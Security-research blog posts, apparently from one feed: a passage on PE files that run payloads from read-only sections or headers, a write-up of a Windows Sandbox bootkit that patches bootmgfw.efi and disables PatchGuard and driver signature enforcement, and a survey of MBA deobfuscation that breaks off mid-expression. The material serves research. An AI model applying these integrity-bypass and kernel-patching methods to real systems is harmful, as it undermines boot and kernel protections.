Perhaps more interestingly, it is also possible to create a fake section table using this mode as mentioned earlier. I have created another EXE which follows a similar format to the previous samples, but also includes a single read-only section:
The main payload has been stored within this read-only section and the entry-point has been updated to 0x1000. Under normal circumstances, you would expect the program to crash immediately with an access-violation exception due to attempting to execute read-only memory. However, this doesn’t occur here - the target memory region contains RWX permissions and the payload is executed successfully:
The sample EXE files can be downloaded here.
The proof-of-concepts described above involve appending the payload to the end of the NT headers, but it is also possible to embed executable code within the headers themselves using this technique. The module will fail to load if the AddressOfEntryPoint
value is less than the SizeOfHeaders
value, but this can easily be bypassed since the SizeOfHeaders
value is not strictly enforced. It can even be set to 0, allowing the entry-point to be positioned anywhere within the file.
It is possible that this feature was initially designed to allow for very small images, enabling the headers, code, and data to fit within a single memory page. As memory protection is applied per-page, it makes sense to apply RWX to all PTEs when the virtual section size is lower than the page size - it would otherwise be impossible to manage protections correctly if multiple sections resided within a single page.
I have tested these EXE files on various different versions of Windows from Vista to 10 with success in all cases. Unfortunately it has very little practical use in the real world as it won’t deceive any modern disassemblers - nonetheless, it remains an interesting concept.
]]>Windows Sandbox is a feature that Microsoft added to Windows back in May 2019. As Microsoft puts it:
Windows Sandbox provides a lightweight desktop environment to safely run applications in isolation. Software installed inside the Windows Sandbox environment remains “sandboxed” and runs separately from the host machine.
The startup is usually very fast and the user experience is great. You can configure it with a .wsb
file and then double click that file to start a clean VM.
The sandbox can be useful for malware analysis and as we will show in this article, it can also be used for kernel research and driver development. We will take things a step further though and share how we can intercept the boot process and patch the kernel during startup with a bootkit.
TLDR: Visit the SandboxBootkit repository to try out the bootkit for yourself.
A few years back Jonas L tweeted about the undocumented command CmDiag
. It turns out that it is almost trivial to enable test signing and kernel debugging in the sandbox (this part was copied straight from my StackOverflow answer).
First you need to enable development mode (everything needs to be run from an Administrator command prompt):
CmDiag DevelopmentMode -On
Then enable network debugging (you can see additional options with CmDiag Debug
):
CmDiag Debug -On -Net
This should give you the connection string:
Debugging successfully enabled.
Connection string: -k net:port=50100,key=cl.ea.rt.ext,target=<ContainerHostIp> -v
Now start WinDbg and connect to 127.0.0.1
:
windbg.exe -k net:port=50100,key=cl.ea.rt.ext,target=127.0.0.1 -v
Then you start Windows Sandbox and it should connect:
Microsoft (R) Windows Debugger Version 10.0.22621.1 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.
Using NET for debugging
Opened WinSock 2.0
Using IPv4 only.
Waiting to reconnect...
Connected to target 127.0.0.1 on port 50100 on local IP <xxx.xxx.xxx.xxx>.
You can get the target MAC address by running .kdtargetmac command.
Connected to Windows 10 19041 x64 target at (Sun Aug 7 10:32:11.311 2022 (UTC + 2:00)), ptr64 TRUE
Kernel Debugger connection established.
Now in order to load your driver you have to copy it into the sandbox and you can use sc create
and sc start
to run it. Obviously most device drivers will not work/freeze the VM but this can certainly be helpful for research.
The downside of course is that you need to do quite a bit of manual work and this is not exactly a smooth development experience. Likely you can improve it with the <MappedFolder>
and <LogonCommand>
options in your .wsb
file.
Running Windows Sandbox with a debugger attached will disable PatchGuard and with test signing enabled you can run your own kernel code. Attaching a debugger every time is not ideal though. Startup times are increased by a lot and software might detect kernel debugging and refuse to run. Additionally it seems that the network connection is not necessarily stable across host reboots and you need to restart WinDbg every time to attach the debugger to the sandbox.
Tooling similar to EfiGuard would be ideal for our purposes and in the rest of the post we will look at implementing our own bootkit with equivalent functionality.
Back in March 2021 a great article called Playing in the (Windows) Sandbox came out. This article has a lot of information about the internals and a lot of the information below comes from there. Another good resource is Microsoft’s official Windows Sandbox architecture page.
Windows Sandbox uses VHDx layering and NTFS magic to allow the VM to be extremely lightweight. Most of the system files are actually NTFS reparse points that point to the host file system. For our purposes the relevant file is BaseLayer.vhdx
(more details in the references above).
What the article did not mention is that there is a folder called BaseLayer
pointing directly inside the mounted BaseLayer.vhdx
at the following path on the host:
C:\ProgramData\Microsoft\Windows\Containers\BaseImages\<GUID>\BaseLayer
This is handy because it allows us to read/write to the Windows Sandbox file system without having to stop/restart CmService
every time we want to try something. The only catch is that you need to run as TrustedInstaller
and you need to enable development mode to modify files there.
When you enable development mode there will also be an additional folder called DebugLayer
in the same location. This folder exists on the host file system and allows us to overwrite certain files (BCD
, registry hives) without having to modify the BaseLayer
. The configuration for the DebugLayer
appears to be in BaseLayer\Bindings\Debug
, but no further time was spent investigating. The downside of enabling development mode is that snapshots are disabled and as a result startup times are significantly increased. After modifying something in the BaseLayer
and disabling development mode you also need to delete the Snapshots
folder and restart CmService
to apply the changes.
To understand how to get code execution at boot time you need some background on UEFI. We released Introduction to UEFI a few years back and there is also a very informative series called Geeking out with the UEFI boot manager that is useful for our purposes.
In our case it is enough to know that the firmware will try to load EFI\Boot\bootx64.efi
from the default boot device first. You can override this behavior by setting the BootOrder
UEFI variable. To find out how Windows Sandbox boots you can run the following PowerShell commands:
> Set-ExecutionPolicy -ExecutionPolicy Unrestricted
> Install-Module UEFI
> Get-UEFIVariable -VariableName BootOrder -AsByteArray
0
0
> Get-UEFIVariable -VariableName Boot0000
�VMBus File System�VMBus�\EFI\Microsoft\Boot\bootmgfw.efi�
From this we can derive that Windows Sandbox first loads:
\EFI\Microsoft\Boot\bootmgfw.efi
As described in the previous section we can access this file on the host (as TrustedInstaller
) via the following path:
C:\ProgramData\Microsoft\Windows\Containers\BaseImages\<GUID>\BaseLayer\Files\EFI\Microsoft\Boot\bootmgfw.efi
To verify our assumption we can rename the file and try to start Windows Sandbox. If you check in Process Monitor you will see vmwp.exe
fails to open bootmgfw.efi
and nothing happens after that.
Perhaps it is possible to modify UEFI variables and change Boot0000
(Hyper-V Manager can do this for regular VMs so probably there is a way), but for now it will be easier to modify bootmgfw.efi
directly.
To gain code execution we embed a copy of our payload inside bootmgfw
and then we modify the entry point to our payload.
Our EfiEntry
does the following:
BootServices->OpenProtocol
functionAddressOfEntryPoint
from the .bootkit
sectionTo simplify the injection of SandboxBootkit.efi
into the .bootkit
section we use the linker flags /FILEALIGN:0x1000 /ALIGN:0x1000
. This sets the FileAlignment
and SectionAlignment
to PAGE_SIZE
, which means the file on disk and in-memory are mapped one-to-one.
Note: Many of the ideas presented here come from the DmaBackdoorHv project by Dmytro Oleksiuk, go check it out!
The first issue you run into when modifying bootmgfw.efi
on disk is that the self integrity checks will fail. The function responsible for this is called BmFwVerifySelfIntegrity
and it directly reads the file from the device (e.g. it does not use the UEFI BootServices
API). To bypass this there are two options:
BmFwVerifySelfIntegrity
to return STATUS_SUCCESS
bcdedit /set {bootmgr} nointegritychecks on
to skip the integrity checks. Likely it is possible to inject this option dynamically by modifying the LoadOptions
, but this was not explored furtherInitially we opted to use bcdedit
, but this can be detected from within the sandbox so instead we patch BmFwVerifySelfIntegrity
.
We are able to hook into winload.efi
by replacing the boot services OpenProtocol
function pointer. This function gets called by EfiOpenProtocol
, which gets executed as part of winload!BlInitializeLibrary
.
In the hook we walk from the return address to the ImageBase
and check if the image exports BlImgLoadPEImageEx
. The OpenProtocol
hook is then restored and the BlImgLoadPEImageEx
function is detoured. This function is nice because it allows us to modify ntoskrnl.exe
right after it is loaded (and before the entry point is called).
If we detect the loaded image is ntoskrnl.exe
we call HookNtoskrnl
where we disable PatchGuard and DSE. EfiGuard patches very similar locations so we will not go into much detail here, but here is a quick overview:
CiInitialize
in the function SepInitializeCodeIntegrity
KeInitAmd64SpecificState
initialization routineTo debug the bootkit on a regular Hyper-V VM there is a great guide by tansadat. Unfortunately there is no known way to enable serial port output for Windows Sandbox (please reach out if you know of one) and we have to find a different way of getting logs out.
Luckily for us Process Monitor allows us to see sandbox file system accesses (filter for vmwp.exe
), which allows for a neat trick: accessing a file called \EFI\my log string
. As long as we keep the path length under 256 characters and exclude certain characters this works great!
A more primitive way of debugging is to just kill the VM at certain points to test if code is executing as expected:
void Die() {
// At least one of these should kill the VM
__fastfail(1);
__int2c();
__ud2();
*(UINT8*)0xFFFFFFFFFFFFFFFFull = 1;
}
The SandboxBootkit
project only uses the headers of the EDK2 project. This might not be convenient when starting out (we had to implement our own EfiQueryDevicePath
for instance) and it might be easier to get started with the VisualUefi project.
That is all for now. You should now be able to load a driver like TitanHide without having to worry about enabling test signing or disabling PatchGuard! With a bit of registry modifications you should also be able to load DTrace (or the more hackable implementation STrace) to monitor syscalls happening inside the sandbox.
]]>Mixed-Boolean-Arithmetic Obfuscation is a technique which represents an expression to be concealed in a semantically equivalent, but syntactically more complex form. For example, the expression x + y
, can be rewritten as (x ^ y) + 2 * (x & y)
, effectively making its behaviour harder to comprehend.
Commonly, such MBAs can be found in advanced malware samples and real-world DRM systems, belonging to the strongest-known code obfuscation techniques. However, in recent years, various attacks have been developed; the next section will provide a brief overview of their strengths and limitations.
Several attacks have been published since the release of the original papers on Mixed-Boolean-Arithmetic Obfuscation 1, 2. While initial tools, like SSPAM, simplified MBAs via pattern matching, more sophisticated approaches rely on algebraic simplifications, machine learning or program synthesis. As of late, some methods also cleverly abuse intrinsic properties of certain sub-classes of MBAs.
Arybo makes use of the bit-blasting technique to convert a word-level expression into a bit-level representation—where each bit of the output is independently computed—and proceeds with applying boolean algebraic simplifications to obtain a shrinked version of the input expression. While extremely powerful, the idea falls short when the bit-blasting step has to handle big symbolic multiplications. Another issue is related to the fact that a human analyst may expect an easier-to-read word-level expression as output, while this may not be the case when processing instruction sequences with non-trivial semantics.
Worth mentioning are the ad-hoc algebraic attacks on the permutation polynomial MBA expressions devised by Ninon Eyrolles 3 and Biondi et al. 4. While attractive, the scope of both approaches is limited to the deobfuscation of a constant and is strongly dependent on the MBA generation process.
Approaches like Stoke, Syntia and its extension Xyntia are based on methods which are known as stochastic program synthesis: They handle the expression simplification as a stochastic optimization problem. Their idea is to represent the obfuscated program as a vector of I/O pairs and learn an expression which has the same I/O behaviour. To achieve this, these approaches use a grammar to generate and mutate small expressions and combine this with a cost function which guides the search towards expressions with the same behaviour.
While stochastic synthesis works well to simplify semantically easy expressions, it has a hard time in finding more complex ones. Since these approaches also cannot simplify sub-expressions in an MBA, they are not successful in some of the semantically more complex cases that can be found in the wild.
As a consequence, new methods have been introduced which re-use some program synthesis concepts, while also being able to simplify partial expressions. These methods can be described as synthesis-based expression simplification and have been introduced by Robin David et al. as QSynthesis. The open source projects QSynthesis and msynth are representatives of this technique.
Once a symbolic execution of the MBA is performed, the techniques represent the MBA as an abstract syntax tree (AST). Then, using a precomputed database (so-called oracle) which maps I/O behaviours to expressions, a divide-and-conquer strategy is adopted: The I/O behaviour of each sub-expression is evaluated and, when possible, sub-expressions are replaced by shorter representations from the database.
These approaches are the most generic to date. However, processing a unique representation of the MBA expression, they often miss synthesis opportunities that would otherwise lead to better results. A common example are sub-expressions that, if combined, would cancel out, but are too far away in the AST to be discovered by the technique.
Drill&Join is a lesser known approach which strives to achieve exact inductive program synthesis of Boolean expressions. It has been repurposed by Biondi et al. to weaken opaque predicates protected via MBA obfuscation.
As with Arybo, the attack is particularly suitable if the expression needs to be processed by an SMT solver; however, also in this case, a bit-level output may not be appealing to a human analyst. Another major limitation mentioned in the paper is related to the improper support for expressions behaving as a point function (e.g. mathematical functions that show a certain behaviour for exactly one specific input).
MBA-Blast, and soon after MBA-Solver, provided the community with the first fully algebraic attack abusing properties of the main theorem to build linear MBA expressions. The authors devised a process to normalize the input MBA expression and are able to shrink them via basic algebraic simplifications.
The approach, while in its infancy, proved how reusing knowledge of the problem can be extremely effective; extensions to it are to be expected. The major limitation is to be found in the lack of support of expressions that cannot be trivially converted from word-level to bit-level, such as non-linear or polynomial MBAs.
Souper is a synthesizing superoptimizer for LLVM-IR that provides an implementation of exhaustive synthesis and CounterExample-Guided Inductive Synthesis (CEGIS). Worth noting are the attempts to synthesize big constants either via harvesting from the original expression or employing the CEGIS component to materialize them. Its current major limitation is the scalability on semantically complex instruction sequences.
NeuReduce is a string-to-string method based on neural networks to automatically learn and reduce complex MBA expressions. A strong limitation of the approach is its inability to generalize to MBA expressions which are built using rewriting rules not part of the training set. In real-world scenarios, the used rewriting rules would also be hard to collect.
In the remaining parts of this post, we’ll delve into known QSynthesis limitations and explore ways to tackle them. We will especially take advantage of the fact that, having full access to the AST of the expression, enables the combination of information coming from both the syntactical and semantical worlds. Hence, the expression to simplify is assumed to be available to the attacker in the form of an assembly or intermediate representation.
The following images, adapted from the original publication, exemplify the step-by-step exploration and synthesis procedure used by QSynthesis. Even though the updated version presented at Black Hat 2021 provides an improved exploration strategy, the main simplification steps are the same and their understanding is fundamental to grasp further extensions.
In the offline phase of the attack, the so-called oracle is computed using a grammar with simple constants, symbolic variables and n-ary operations:
A
, A & A
, A | A
are equivalent).The explanation of the online phase of the attack, assuming the availability of the precomputed oracle, follows. Furthermore, a top-down bottom-up placeholder-based exploration strategy is assumed to be driving the identification of the synthesizable sub-expressions.
In the next image, the sub-tree highlighted in red is deemed synthesizable by the oracle and associated to the smaller expression (A + B)
. An intermediate variable (V1) is created and substituted in the AST in place of all the sub-trees identical to the one that just got synthesized.
In the left image, the now updated AST—with the placeholder nodes highlighted in blue—turns also out to be synthesizable, matching the behaviour of the smaller expression (A ^ V1)
. Once again, an intermediate variable (V2) is created and replaced in the AST. The right image shows the updated AST, which cannot be simplified any further.
The following images represent the intermediate variables (V1, V2) generated after a successful sub-tree synthesis and their simplified expansions, highlighted in green.
Starting from the fully updated AST—just containing the V2 node—we can expand the intermediate variables in reverse order, obtaining the fully synthesized AST depicted below.
The official publications explain the two phases in greater details, so we highly suggest checking them out to gather a better understanding of the idea.
The reliance on a unique syntactical representation of the input expression raises some less documented—but nonetheless important—shortcomings, which are here referred to as locality issues. For example, when an expression contains a large chain of additions, it may happen that the AST exploration algorithm completely misses valid synthesis opportunities, as some useful nodes are too far apart in the tree. Unluckily, the problem is not limited to addition chains; in fact, all operations with commutativity and associativity properties are affected.
This limitation becomes more apparent when handling MBAs where the terms replaced by more complex linear combinations are interleaved with each other or when a polynomial encoding is involved, scattering related nodes all over the obfuscated expression.
For example, consider the AST of the following expression (5*(A ^ B)) + (A & B)
, where the red/blue nodes represent the left/right addition operands.
After applying the rewriting rules (x^y) = (~x|y)+(x&~y)-~(x^y)
and (x&y) = (x|y)-(~x&y)-(x&~y)
, we obtain the following updated AST, which is easily handled by QSynthesis. In fact, the strictly related sub-trees—of the same colour—are locally next to each other, readily synthesizable by the oracle. The red/blue nodes now represent the obfuscated left/right addition operands, while the white nodes represent a chain of additions.
Shuffling the terms which are part of the chain of additions, we reduce the synthesis opportunities, hindering the QSynthesis exploration algorithm to produce the best solution; in the end, we obtain only a partial simplification. This is due to the fact that now the strictly related sub-trees are not in local vicinity anymore.
The original publication ignored the problem of synthesizing constants altogether and the idea of deriving them with an SMT solver was deemed too time consuming. However, the updated version mentions how some concrete values can be obtained preprocessing the expression with SymPy or by inserting simple constants during the oracle generation process.
The current open-source implementation details the possibility to synthesize nodes yielding a single constant; even though, the authors do not elaborate any further on the improvements due to the inclusion of concrete values in the database.
Some of the attacks mentioned in the previous chapter are orthogonal to QSynthesis, meaning that existing research can be successfully combined without loss of generality:
Before describing how another technique from the program analysis world, namely Equality Saturation, paves the way to even more powerful attacks, we demonstrate what a combined approach for constant synthesis may look like.
What follows is an attempt at combining oracle-based synthesis and CEGIS to increase the chance of simplifying a sub-expression involving constants.
As previously mentioned, Souper relies on CEGIS to infer valid concrete values: It generates a templated query containing symbolic placeholders where the constants should fit and proceeds with asking for a solution to the SMT solver. Therefore, we need to obtain the same template using our only source of information: the observed I/O behaviour. The idea has been divided in an offline phase, taking place just once, and an online phase, taking place every time a sub-expression does not match the main oracle.
Offline phase:
Online phase:
The high-level idea is to drive a full bitwidth sub-expression synthesis with truncated bitwidth behaviours. As expected, limitations arise when the behaviours are not representative enough, leading to the iteration of hundred of possibly invalid templates.
Equality saturation is an optimization technique proposed by Tate et al. in 2009, and it relies on the e-graph data structure designed by Gregory Nelson in his PhD thesis in 1980. Recently, Willsey et al. released an improved equality saturation implementation called egg, whose resources have been used as a base for this proof of concept.
Historically, it has been used as a first-class synthesis technique, enabling improvements in projects involving: 3D CAD programs, floating point or algebra expressions. In this post, we will see how also MBA expressions can be dramatically simplified, if we combine equality saturation with oracle-based synthesis.
From an implementation perspective, an e-graph is a data structure used to represent a congruence relation over a set of expressions. It is made of equivalence classes (e-classes), which, in turn, contain equivalent nodes (e-nodes). Some similarities can be found between an AST node and an e-node; in fact, each e-node represents an operator or a value. However, its children, when present, are references to e-classes and not to other e-nodes. Each e-node is unique; if some sub-expressions of an AST are identical, they will end up being the same e-node. This guarantees a compact and efficient representation.
The following image depicts a simple e-graph populated with the expression (A * B) + (A * C)
.
An in-depth explanation about the inner workings of equality saturation and the e-graph structure can be found in the egg’s official documentation.
At this point, the careful reader may have guessed that the main goal, for MBA deobfuscation, would be for us to have the possibility to explore a large number—potentially hundred of thousands—of equivalent representations of the input expression and be able to locate the one best suiting the oracle-based synthesis attack. Thankfully, an e-graph will let us represent a huge number of semantical equivalence relations between syntactically different expressions.
Equality saturation can add information to an e-graph using a technique called term-rewriting. The process consists in syntactically matching parts of an expression and transforming them into equivalent ones. This is usually achieved in two steps: the matching and rewriting phase. The matching phase, that uses pattern matching to identify sub-expressions for which equivalent representations are known; the rewriting phase, that generates new representations for the matched sub-expressions.
Unluckily, term-rewriting is by design a destructive technique, as any information about the original expression is lost as soon as the rewrite to the new expression is done. This raises issues if multiple rewrites are possible for the same matched sub-expression, as only one of those must be selected to proceed. Projects like SSPAM or LLVM’s peephole optimizer rely on heuristics to find the best rewriting candidate, minimizing some cost function. However, this opens the door to another problem, known as phase-ordering; this problem deals with the question of what happens when applying some rewrites in different orders. Given the rewriting rules R0 and R1, it could be that applying R0 before R1 leads to a worse result compared to applying R1 before R0; there’s no easy way to solve the problem (in fact, this problem is NP-complete).
The ideal solution would be able to apply all possible rewrites at the same time, preserving the intermediate equivalent representations of the starting expression and deciding at the end which candidate is the best. No need to look any further, as this is exactly what equality saturation does.
The last part of the equality saturation process consists in the cost computation and extraction of the best representation of the input expression. As for the stochastic synthesis, the cost computation plays an important role in driving the selection of the useful candidate sub-expressions. Depending on the goal, the cost function could be prioritizing the selection of smaller or faster nodes, even though—for the rest of the post—the logic will be to select the smallest AST nodes, basically optimizing towards shorter expressions. Once the costs have been computed, the extraction phase visits the needed e-classes in the e-graph, selecting the best possible representation of the input expression.
As a bonus, computing the cost after each iteration gives visibility on the quality of the process; if the e-graph grows at a too fast pace, computing the costs offers an opportunity to extract the best candidate expression and start a new equality saturation from scratch. This is usually referred to as a full e-graph reset.
The images below represent a step-by-step equality saturation execution applied to the expression (B + A) - B
, in an attempt to simplify it. A and B are names given to complex sub-expressions that cannot be synthesized. The following rewriting rules are being applied at each iteration:
(x + (-x)) => 0
(x + y) => (y + x)
(x - y) => (x + (-y))
(x + (y + z)) => ((x + y) + z)
This is the state of the e-graph right after the insertion of the expression to process.
These are intermediate states of the e-graph where all the rules have been applied against the e-nodes present in the previous state of the e-graph, leading to the addition of new equalities. On the left image we can observe how the e-class e2 is representing the equivalence between the expressions (B + A)
and (A + B)
, thanks to the second rule, and how the e-class e6 is representing the equivalence between the expressions (B + A) - B
, (A + B) - B
, (B + A) + (-B)
and (A + B) + (-B)
, thanks to the combination of the second and third rules. On the right image we can instead observe how the e6 e-class turned into the e7 e-class with the addition of the equivalent representations (-B) + (B + A)
and (-B) + (A + B)
, again thanks to the second rule.
This can be considered the final state of the e-graph, even though it isn’t fully saturated (no more rewrites are possible), as it provides enough knowledge for the program synthesis to be fully effective on the input expression.
In the final step, the e-classes and e-nodes which are part of the simplified expression (0 + A)
are highlighted. As expected, an e-class (e8) represents the knowledge that ((-B) + B)
is equivalent to 0.
In the upcoming paragraphs, we take advantage of the equality saturation properties to overcome the MBA deobfuscation limitations highlighted in the previous section. First, we focus on increasing the synthesis opportunities. After attempting to extend the support to the constants synthesis, we finally repurpose the runtime information to enhance the saturation loop.
As learned thus far, the input expression may not be in the most amenable form to guarantee good synthesis opportunities; therefore, it is important to find a way to morph it accordingly and make sure its semantical correctness is preserved.
Relying on equality saturation, the expression can be inserted in an e-graph and transformed to obtain an increasing amount of syntactically different but semantically equivalent representations, with the hope that at least one of them will be more synthesizable than it originally was. The good news is that, given an e-graph preserves all the intermediate information, at any given time the best possible candidate expression can be extracted from the e-graph, meaning that, employing this approach, the obtainable result is never going to be worse compared to avoiding it.
Given the nature of an MBA expression is strongly related to the properties of the involved arithmetic (add, sub, mul, neg) and logical (and, or, xor, not) operations, the minimal set of selected rewriting rules are commutativity, associativity and distributivity. To these, a set of equality and normalization rules have been added (e.g. rewriting neg into not, pushing not to the leaves of the expression). The list of rewriting rules currently employed by the proof of concept can be found in the Appendix.
The following example shows how the application of three rewriting rules (commutativity, associativity and not normalization) turns an expression which cannot be synthesized by an oracle using two variables into one which can be synthesized.
python3 synth.py
eclasses #: 11
Input (cost = 16): (~(((x+y)+(~(((x+y)+x)+y)))+(-z)))
====================================================================================================
eclasses #: 16
Synthesized (cost = 5): ((x+y)+z)
====================================================================================================
Constant synthesis is a well known hard problem, although, using the aforementioned rewriting rules, a set of constants not originally present in the obfuscated expression starts appearing in the e-graph. Obviously, some are generated through the simple negation rules, but others are obtained with the repeated application of a non-trivial combination of rewriting rules that, moving some sub-expressions next to each other, lead to new synthesis opportunities.
As expected, this positive side effect turned out to be insufficient in most cases, so a further attempt to use the new information to improve the synthesis at runtime has been done. After each matching phase, the e-graph is updated with the discovered equalities, making it possible to identify all the e-classes of unit cost representing a constant. At this point the constants can be used to compute a smaller ad-hoc runtime oracle, available from the next synthesis iteration.
During the experiments the runtime oracle has been built with a single operation involving one variable and one constant. Assuming K harvested constants, an oracle with N binary operations and M input samples, K×N×M output samples need to be computed to obtain K×N new oracle entries. The oracle computation time is usually negligible, as the amount of harvested constants is contained compared to the total amount of possible constants in the bitwidth of the input expression.
The following examples show the same obfuscated expression simplified using different options. First, using CEGIS with the support of the constants oracle, which leads to the solution in one iteration. Then, via constants harvesting using the runtime oracle, taking five iterations. Finally, with the default rewriting rules, that in nine iterations lead to a simplified version of the original expression, but not to the best possible representation. Depending on the expression under analysis, the CEGIS option may be overkill and too slow, while standard rewriting rules or constants harvesting could be the right choice.
python3 synth.py --use-constants-oracle
eclasses #: 84
Input (cost = 1979): ((((((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x1)))+((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c)))*0x67)+0xd)*0x2d)+(((((((((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x3a)+(-0x51))&(-0xc))+(((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*(-0x19)))+0x76)*0x63))+0x2e)&(-0x6c))-((((((((((((((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x4d)*0x56)+0x24)&0x46)*0x4b)+(((((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))+(((-((((((x*(-0x1b))+(-0x9))*(-0x13))+(-0x2a))+(((((x*(-0x1b))+(-0x9))*0x26)+0x55)&(-0x2)))*0x2))+(-0x1))&(-0x2)))*0x3)+0x